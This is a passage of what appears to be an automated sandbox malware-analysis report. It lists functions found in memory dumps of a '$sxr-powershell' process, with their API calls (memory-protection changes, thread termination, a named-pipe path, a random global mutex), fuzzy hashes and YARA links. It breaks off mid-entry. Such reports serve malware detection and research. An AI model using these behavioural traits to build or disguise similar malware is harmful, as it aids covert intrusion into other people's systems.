K32GetModuleFileNameExW.KERNEL32 ref: 00000242878B1A58
PathFindFileNameW.SHLWAPI ref: 00000242878B1A67
lstrlenW.KERNEL32 ref: 00000242878B1A73
StrCpyW.SHLWAPI ref: 00000242878B1A86
CloseHandle.KERNEL32 ref: 00000242878B1A94

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction ID: 6fd552651bf41ff59910230984b63b0f898a99eb8231d2507238e39df19b135e
Opcode Fuzzy Hash: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction Fuzzy Hash: 54010521705E89D6FA549B13A85875A73A1F7C8BC0F888035EE8D47B54DE38C98AA760

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B3844 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000242878B3860
GetCurrentProcess.KERNEL32 ref: 00000242878B386E
VirtualProtectEx.KERNEL32 ref: 00000242878B3890
GetCurrentProcess.KERNEL32 ref: 00000242878B38B1
VirtualProtectEx.KERNEL32 ref: 00000242878B38D2
TerminateThread.KERNEL32 ref: 00000242878B38E1

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction ID: dddd77ee791c562a4c33df3d3f473380d27cf68cbb84931d060fb07edb62c819
Opcode Fuzzy Hash: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction Fuzzy Hash: 20113566612F48C6FBA09B27EC4C35D32A0FBC8B81F840429E95D06B64EF3DC04DA721

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B9178 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000242878B91A3
_IsNonwritableInCurrentImage.LIBCMT ref: 00000242878B9238
RtlUnwindEx.NTDLL ref: 00000242878B9287

Strings

f, xrefs: 00000242878B91B6
csm, xrefs: 00000242878B921E

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction ID: c1c123ca0641713c68203219e0ffc54685fbf85b2ec4172715252fd7364f4129
Opcode Fuzzy Hash: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction Fuzzy Hash: EA51C132711A09CAEB54CF16EC48B5D3795F3E9B98F968124FE1647788EB34C849E720

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000242878B1AD8
StrCmpNIW.SHLWAPI ref: 00000242878B1AF2
lstrlenW.KERNEL32 ref: 00000242878B1B01
StrCpyW.SHLWAPI ref: 00000242878B1B16

Strings

\\?\, xrefs: 00000242878B1AE6

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction ID: 4fa11f10fef5e89c24eb0de7343fec5ec2b4adfeea31e67e16c4c15da7b5df42
Opcode Fuzzy Hash: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction Fuzzy Hash: 34F04462704A45D2F7A09B62FC9839D7760F7C4B88FC48024EA4D4A954DF2CC68DE710

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B3298 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000242878B32BA
StrCpyW.SHLWAPI ref: 00000242878B32CA
StrCatW.SHLWAPI ref: 00000242878B32D6
PathCombineW.SHLWAPI ref: 00000242878B32E4

Strings

\\.\pipe\, xrefs: 00000242878B32B0

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction ID: 5498393feef0156989373553bb61534f94d641770095060aaad74aca0dab6f7a
Opcode Fuzzy Hash: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction Fuzzy Hash: B9F05E64205F98D1FA408B53BD1915DB221EBC8FD1F848130AE5E07F28CE28C48AA315

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878BA1D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000242878BA1F4
GetProcAddress.KERNEL32 ref: 00000242878BA20A
FreeLibrary.KERNEL32 ref: 00000242878BA227

Strings

CorExitProcess, xrefs: 00000242878BA203
mscoree.dll, xrefs: 00000242878BA1EB

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction ID: 332f17eb063b624679cbf6d0a9cbdf615f9b0e9490207be013e0093f6317414e
Opcode Fuzzy Hash: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction Fuzzy Hash: 67F0F861712F48D1FF988B62EC8C36D3760ABC8B51F841019B91F86A64DE28C59DF721

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B5250 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000242878B52D6

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction ID: 0a39ea921eb67ed782d92d3fc2de42422d6a4c758dceafc74a8080b3a9199516
Opcode Fuzzy Hash: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction Fuzzy Hash: A2029832219B88C6E7A0CB56E89435EB7A0F3C5794F504115FA8E87BA9DF7DC448DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878C0900 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000242878C0942
GetConsoleMode.KERNEL32 ref: 00000242878C0A00
GetLastError.KERNEL32 ref: 00000242878C0A8A

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction ID: 3f9f3b84be64b8745001d2116f5a85431cda3b57e411a89a6a5880cc7364790e
Opcode Fuzzy Hash: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction Fuzzy Hash: 4181AC22612E58C9FB909B679C483AD77A0F7C4BD8FC44116FA2A57A92DB34844DE730

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B5890 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000242878B58A6

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction ID: 0811d2ca5b0f4b6e16456fe10dea33610728cfd05e530190163d110fbe4016c4
Opcode Fuzzy Hash: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction Fuzzy Hash: F061A836519B88C6E760DB17E88831EB7A0F3C8B54F945116FA8D47BA8DB78C548DF10

Uniqueness

Uniqueness Score: -1.00%

Function 0000024287891358 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000024287891380
_set_statfp.LIBCMT ref: 000002428789139B
_set_statfp.LIBCMT ref: 00000242878913B7
_set_statfp.LIBCMT ref: 00000242878913F3

Memory Dump Source

Source File: 00000015.00000002.2924790905.0000024287880000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024287880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_24287880000_$sxr-powershell.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: a7a99281917c1e6bfa78649dbdc5c2bf284f30a296fcc56181bacae0688647ed
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 3A118626E5CF09C2F764116BDC9D36D34A0ABD4376FD84624BA7706FEA8A1C88497220

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878C1F58 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000242878C1F80
_set_statfp.LIBCMT ref: 00000242878C1F9B
_set_statfp.LIBCMT ref: 00000242878C1FB7
_set_statfp.LIBCMT ref: 00000242878C1FF3

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: c639fa3b88079f2b8429a1821158bfec4b42d62e2f4a60f41a4124fe0582ca4e
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: E911A7A2E79E0DC1F6E81167DCDD76D30446BE5370FC44624BB66067D68B5848897330

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B3910 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000242878B3923
GetCurrentProcess.KERNEL32 ref: 00000242878B3956
VirtualProtectEx.KERNEL32 ref: 00000242878B3976
GetCurrentProcess.KERNEL32 ref: 00000242878B398F
VirtualProtectEx.KERNEL32 ref: 00000242878B39B0

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction ID: f4583b6a175e8337e864dbce55850077dfa8be934b5ac415ae73fe8ebaa8977f
Opcode Fuzzy Hash: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction Fuzzy Hash: 14111926605F44D7FB648B22E94825EB7B0F785B80F844126EA8D03B94EF39C949E751

Uniqueness

Uniqueness Score: -1.00%

Function 0000024287888595 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000242878885A3
_IsNonwritableInCurrentImage.LIBCMT ref: 0000024287888638

Strings

f, xrefs: 00000242878885B6
csm, xrefs: 000002428788861E

Memory Dump Source

Source File: 00000015.00000002.2924790905.0000024287880000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024287880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_24287880000_$sxr-powershell.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction ID: 1a8c1a66975c0376a8d0b67916ce8094e61a768ab4b40edd771f6c5e777fa4e2
Opcode Fuzzy Hash: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction Fuzzy Hash: 77519336721A08CAEB54DF16DC8CB1D37A5F3C4B98F918124FA1647788EB34DD89A724

Uniqueness

Uniqueness Score: -1.00%

Function 0000024287888578 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000242878885A3
_IsNonwritableInCurrentImage.LIBCMT ref: 0000024287888638

Strings

f, xrefs: 00000242878885B6
csm, xrefs: 000002428788861E

Memory Dump Source

Source File: 00000015.00000002.2924790905.0000024287880000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024287880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_24287880000_$sxr-powershell.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction ID: 61ae9168a048650dbea6c8268f6cc7cf5c94ca7f3ed896cae57903f33533c51e
Opcode Fuzzy Hash: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction Fuzzy Hash: 5A318B32221A44DAE754DF13EC8CB1D77A5F780BC8F858114BE5647788DB38C989DB24

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B2744 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000242878B2828
StrCpyW.SHLWAPI ref: 00000242878B2841

Strings

\\.\pipe\, xrefs: 00000242878B2833

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction ID: 5973971a9dbe32c64071ab0e78dd83c42a1130323f939945f63f6377bc8d51ad
Opcode Fuzzy Hash: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction Fuzzy Hash: FC71AC32200F89C2E7649A3B9D497AE7790F7C5B84FC40026FE4D47B99DE35C688A750

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B2530 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000242878B2617
StrCpyW.SHLWAPI ref: 00000242878B262E

Strings

\\.\pipe\, xrefs: 00000242878B2622

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction ID: 0ac368452b6202ad694e0877350d488fb260446bb20df8a6712e35fb499e6776
Opcode Fuzzy Hash: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction Fuzzy Hash: 1151C532204BC9C2E675DA2BA85C7AE7791F7CA780FD40025ED8903B99CB39C589A754

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878C06A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000242878C07BB
GetLastError.KERNEL32 ref: 00000242878C07DD

Strings

U, xrefs: 00000242878C0767

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction ID: 5120e88b4132f6b75c1830df960729af01e04e9ce8af581c4d474e2649275e05
Opcode Fuzzy Hash: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction Fuzzy Hash: 3941B232216A48D1EB609F26EC493AE77A0F3C87D4F804021EE4D87B98DB39C449DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B2A08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 00000242878B2A5D
CloseHandle.KERNEL32 ref: 00000242878B2A6B

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 00000242878B2A4D

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction ID: 2454d994f2ffbbbbab1b053be6b9d75d5fd99c34b8aac145e97227e4d1861528
Opcode Fuzzy Hash: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction Fuzzy Hash: 22217F26204F48C6E770CB17AC4861EB290F7D4BA0FD55115EE8943794EF38C489E710

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B2AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 00000242878B2B49
CloseHandle.KERNEL32 ref: 00000242878B2B57

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 00000242878B2B39

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction ID: b4f52836db5ece12ce3474e72006215bf1dd8b68e0b56dd6ff4e52d6796618dc
Opcode Fuzzy Hash: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction Fuzzy Hash: E1214822600F48C2E7609F17AC4875EB3A4F7C8B94FC44025EE8983754EF34C88AA750

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878BD760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000242878BD799
LCMapStringW.KERNEL32 ref: 00000242878BD821

Strings

LCMapStringEx, xrefs: 00000242878BD77C, 00000242878BD78D

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction ID: 3a23ee5cb0f6fb42c31e4c66133549b8a3fecb74301eb6ddcfb625ec7e7b532c
Opcode Fuzzy Hash: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction Fuzzy Hash: CE111A36608BC4C6E7A0DB16F84429EB7A4F7C9B90F944126FE8D83B19DF38C5489B50

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B9544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000242878B9588
RaiseException.KERNEL32 ref: 00000242878B95CE

Strings

csm, xrefs: 00000242878B95BB

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction ID: c0a853a66a1f6816b8146f570d98443459de868cade9ac574d850c807f3e4b09
Opcode Fuzzy Hash: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction Fuzzy Hash: F0113A32215B88C2EB608B26F88425DB7A5F7D8B94F584220EE8D07B64DF39C555DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878BD6FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000242878BD72D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00000242878BD747

Strings

InitializeCriticalSectionEx, xrefs: 00000242878BD721

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction ID: 64db137c6273b1633f17dee013e8f736dcf40025c40eb91d46f100af1def2add
Opcode Fuzzy Hash: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction Fuzzy Hash: 85F0BE25209F48E1FB859B43BC0868C7670FBC8B90FC84022BA0D03B19CE38C58DEB20

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878BD6A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000242878BD6D1
TlsSetValue.KERNEL32 ref: 00000242878BD6E8

Strings

FlsSetValue, xrefs: 00000242878BD6BE

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction ID: 031b1a15519edeb2c29795d2a86228ad8fbea6dd58c89b0160b1ba342fee89b5
Opcode Fuzzy Hash: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction Fuzzy Hash: 9FE03061205E08E2FE855B57BC0829C7221B7C8780FD84026B92D06655DE38C49DE631

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B1D60 Relevance: 5.1, APIs: 4, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000242878B1D95
HeapAlloc.KERNEL32 ref: 00000242878B1DA4
GetProcessHeap.KERNEL32 ref: 00000242878B1E18
HeapFree.KERNEL32 ref: 00000242878B1E26

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

